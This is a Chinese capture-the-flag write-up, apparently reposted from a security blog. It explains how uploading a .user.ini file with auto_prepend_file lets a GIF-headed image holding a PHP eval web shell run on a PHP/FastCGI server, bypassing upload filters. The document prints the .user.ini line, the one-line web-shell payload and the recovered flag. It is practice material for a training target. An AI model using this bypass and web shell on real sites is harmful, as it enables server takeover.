文件上传之.user.ini文件漏洞利用
2023-1-26 16:18:14 Author: 白安全组(查看原文) 阅读量:27 收藏

介绍:

这里简单介绍一下这个漏洞的原因

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

正文:

我们使用攻防世界的靶场

https://adworld.xctf.org.cn/challenges/details?hash=50df7052-1626-11ed-9827-fa163e4fa633&task_category_id=3

这里我们进行上传,基本上php,MIME验证,文件头验证都有过滤

我们就可以使用上面这种绕过姿势了,我们首先需要上传一个.user.ini文件

内容为

GIF89a                  auto_prepend_file=a.jpg

我们使用burp进行抓包实验

这里我们进行三个方面的绕过处理


这里的确上传成功了,那么我们只需要再上传一个图片马即可

图片马的内容:

GIF89a<?=eval($_REQUEST['cmd']);?>

其他的绕过和上面一样。这里使用request容易掉线,也可以使用eval稳定点

因为这里需要绕过对php的过滤,这里属于包含到其他的php中,所以我们直接去掉php上传。


这里一个要点就是需要这个图片同目录下的php文件,这里我们实战中就需要知道这个目录下有什么php文件了,这里是通过上传的回显发现有一个index.php文件

蚁剑连接找到flag,在根目录下

cyberpeace{1f8b7b499c8029a3cf2dc58c36d7948b}

文章来源: http://mp.weixin.qq.com/s?__biz=MzU4MjYxNTYwNA==&mid=2247486356&idx=1&sn=57f4f6d5fe0a98b8f89e393c898a8d3c&chksm=fdb4dccfcac355d973985ec7573a578b98929d4c869592607b9ec7a4b864bffd437674ddd9f3#rd
如有侵权请联系:admin#unsafe.sh